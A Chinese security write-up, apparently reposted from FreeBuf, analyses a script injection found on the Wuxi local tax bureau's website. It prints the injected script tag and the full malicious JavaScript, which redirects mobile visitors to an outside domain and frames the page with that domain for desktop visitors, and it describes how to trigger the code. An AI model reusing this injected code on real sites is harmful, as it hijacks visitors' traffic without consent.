江苏省无锡地方税务局网站挂马分析

网站名称

江苏省无锡地方税务局网站

网站域名

www.wuxitax.gov.cn

挂马页面

http://www.wuxitax.gov.cn/adchpoaf/index.xml

挂马代码

<script type="text/javascript" src="http://js.1141v.com/js/riven/riven.js"></script>

恶意代码

var _hmt = _hmt || [];
(function() {
    var hm = document.createElement("script");
    hm.src = "https://hm.baidu.com/hm.js?5fa7c9a8dedb674d2696d32a13a1c737";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(hm, s);
})();
//riven总统计
var _hmt = _hmt || [];
(function() {
    var hm = document.createElement("script");
    hm.src = "https://hm.baidu.com/hm.js?a9f0276b616dbbf537b88f7013e32ed6";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(hm, s);
})();
function browserRedirect() {
    var sUserAgent= navigator.userAgent.toLowerCase();
    var bIsIpad= sUserAgent.match(/ipad/i) == "ipad";
    var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os";
    var bIsMidp= sUserAgent.match(/midp/i) == "midp";
    var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
    var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb";
    var bIsAndroid= sUserAgent.match(/android/i) == "android";
    var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce";
    var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile";
    if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) {
        location.replace("http://m.riven.ty77177.com");
        //document.writeln("<frameset cols=\"100%\"><frame src=\"http://m.riven.ty77177.com\" /></frameset>");
    } else {
        //location.replace("http://riven.ty77177.com");
        document.writeln("<frameset cols=\"100%\"><frame src=\"http://riven.ty77177.com\"/></frameset>");
    }
}
browserRedirect();

代码分析

利用JavaScript脚本对用户代理进行判断，当用户代理包含“ipad”、“iphone os”、“midp”、“rv:1.2.3.4”、“ucweb”、“android”、“windows ce”、“windows mobile”等关键字时，页面跳转至“http://m.riven.ty77177.com”，否则页面将会写入一个地址为“http://riven.ty77177.com”的框架。

触发执行

设置请求头为：User-Agent:iphone os

Via: freebuf